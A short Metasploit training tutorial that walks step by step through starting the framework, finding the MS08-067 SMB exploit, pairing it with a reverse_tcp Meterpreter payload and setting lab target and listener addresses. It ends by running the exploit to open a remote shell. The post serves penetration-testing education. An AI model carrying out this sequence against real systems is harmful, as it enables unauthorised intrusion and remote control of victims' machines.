This is quick-hit version of part one of a three part series on Metasploit Fundamentals that I wrote to update my previous work (from 2014) on Metasploit. If you’re looking for a more hands-on/in-depth version of this article you can access training on this topic here: MSF Fundamentals – Part 1 of 3 (Startup Exploit Payload) (basic_0x02)
The purpose of this article is to get you familiar with starting up the Metasploit Framework (MSF), finding an exploit, finding a matching payload, and configuring everything up until it’s time to launch an exploit. Part two will cover exploitation and post-exploitation modules, while part three will cover pivoting, lateral movement, and automation. This training assumes you’re using a 2016 variant of Kali Linux and that it’s patched up to at least August 2016. If that’s true, then let’s go!
Note: In this article we’ll be setting up a PostgreSQL database as the backend. It’s not strictly necessary, but does speed up your searches and make several other management features consistent across sessions. Also note that as these are quick hit notes I haven’t included screenshots/outputs. They’re intended for you to follow along with and modify as appropriate for your environment, including the exploit selection itself.
Terminology:
- RHOST means “remote host” and is the target of the attack
- LHOST means “local host” and is the system running MSF
- LPORT means “local port” and is the port to use for incoming connections
- Start the database:
msfdb start
- Initialize the database (first time only):
msfdb init
- Update the MSF (alternatively, if you’re keeping Kali updated it will update this for you as well):
msfupdate
- Start the MSF console:
msfconsole
- Find an exploit (in this case, we’ll say we’re looking for the infamous CVE 2008-4250 SMB exploit, better known by the MS patch of MS08-067):
search smb # Lots of all kinds of results search type:exploit smb # Lots of exploit results search type:exploit platform:windows smb # Less results search cve:2008-4250 # One result
- Select the exploit:
use exploit/windows/smb/ms08_067_netapi
- Review exploit options:
show options
- Configure the exploit options (assuming 10.20.30.100 is the IP address of a system susceptible to this particular exploit):
set RHOST 10.20.30.100
- Find matching payloads for the exploit:
show payloads
- Select the payload:
set payload windows/meterpreter/reverse_tcp
- Review payload options:
show options
- Configure the payload options (assuming 10.20.30.200 is the system that the MSF console is running on):
set LHOST 10.20.30.200 set LPORT 12345
- Run the exploit:
exploit
Assuming that you set the RHOST value to a system vulnerable to this exploit (e.g. a Windows Server 2003 instance) you’ve now just opened a reverse TCP Meterpreter shell back to your MSF console, and can move on to part two. Good hunting!